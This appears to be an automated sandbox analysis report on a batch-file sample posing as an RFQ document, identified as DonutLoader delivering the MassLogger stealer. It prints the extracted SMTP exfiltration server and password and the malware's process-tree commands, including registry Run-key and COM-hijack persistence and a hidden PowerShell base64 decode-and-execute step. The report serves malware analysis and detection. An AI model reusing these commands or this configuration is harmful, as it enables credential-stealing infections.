Analysis
- max time kernel
299s - max time network
268s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
25/04/2026, 14:58
General
- Target RFQ-SPD-5520-GBR-107-2026.bat
- Size 145KB
- Sample260425-scelwsdx4m
- SHA256 2168a3295dc3efc1cd46ba5c7052a95645bd92e09002b69ab4ec5277ef678c78
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.taikei-rmc-co.biz
-
Port
587
-
Username
-
Password
dy8tm;jRtJO[:bG:
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-12-17
-
host_password
dy8tm;jRtJO[:bG:
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.taikei-rmc-co.biz
-
ssl_slate
True
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RFQ-SPD-5520-GBR-107-2026.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\RFQ-SPD-5520-GBR-107-2026.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Body.bat"4⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{1C50C521-25CE-D275-9DD9-EE8976D9535E}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{1C50C521-25CE-D275-9DD9-EE8976D9535E}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{1C50C521-25CE-D275-9DD9-EE8976D9535E}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Pant" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Body.bat\"" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Head.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Objective.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -f "C:\Users\Admin\AppData\Local\Temp\Objective.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nyz2ds03\nyz2ds03.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8652.tmp" "c:\Users\Admin\AppData\Local\Temp\nyz2ds03\CSC2BDDBB6DBD63462DA66139405E90B82.TMP"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
Head.tmp
Head.tmp
Objective.ps1
RES8652.tmp
__PSScriptPolicyTest_mm1ouba1.wau.ps1
nyz2ds03.dll
Body.bat
CSC2BDDBB6DBD63462DA66139405E90B82.TMP
nyz2ds03.0.cs
nyz2ds03.cmdline
memory/380-68-0x0000028289C60000-0x0000028289C6C000-memory.dmp
memory/1484-71-0x0000018317830000-0x00000183179D1000-memory.dmp
memory/1484-72-0x0000018317BB0000-0x0000018317BBC000-memory.dmp
memory/3276-48-0x0000025E0AE50000-0x0000025E0AE5C000-memory.dmp
memory/3276-34-0x0000025E0C9F0000-0x0000025E0CA00000-memory.dmp
memory/3276-35-0x0000025E0C9F0000-0x0000025E0CA00000-memory.dmp
memory/3276-36-0x0000025E0CAC0000-0x0000025E0CAE2000-memory.dmp
memory/3284-83-0x0000000003390000-0x00000000033A6000-memory.dmp
memory/3284-86-0x000000000A050000-0x000000000A212000-memory.dmp
memory/3284-84-0x0000000009400000-0x0000000009450000-memory.dmp
memory/3284-77-0x0000000001460000-0x0000000001474000-memory.dmp
memory/3284-79-0x0000000003320000-0x000000000333E000-memory.dmp
memory/3824-74-0x0000019741E10000-0x0000019741E18000-memory.dmp
memory/3824-81-0x0000019740250000-0x00000197403F1000-memory.dmp
memory/3824-82-0x0000019741CF0000-0x0000019741CFC000-memory.dmp
memory/3824-75-0x0000019740250000-0x00000197403F1000-memory.dmp
memory/3824-76-0x0000019741CF0000-0x0000019741CFC000-memory.dmp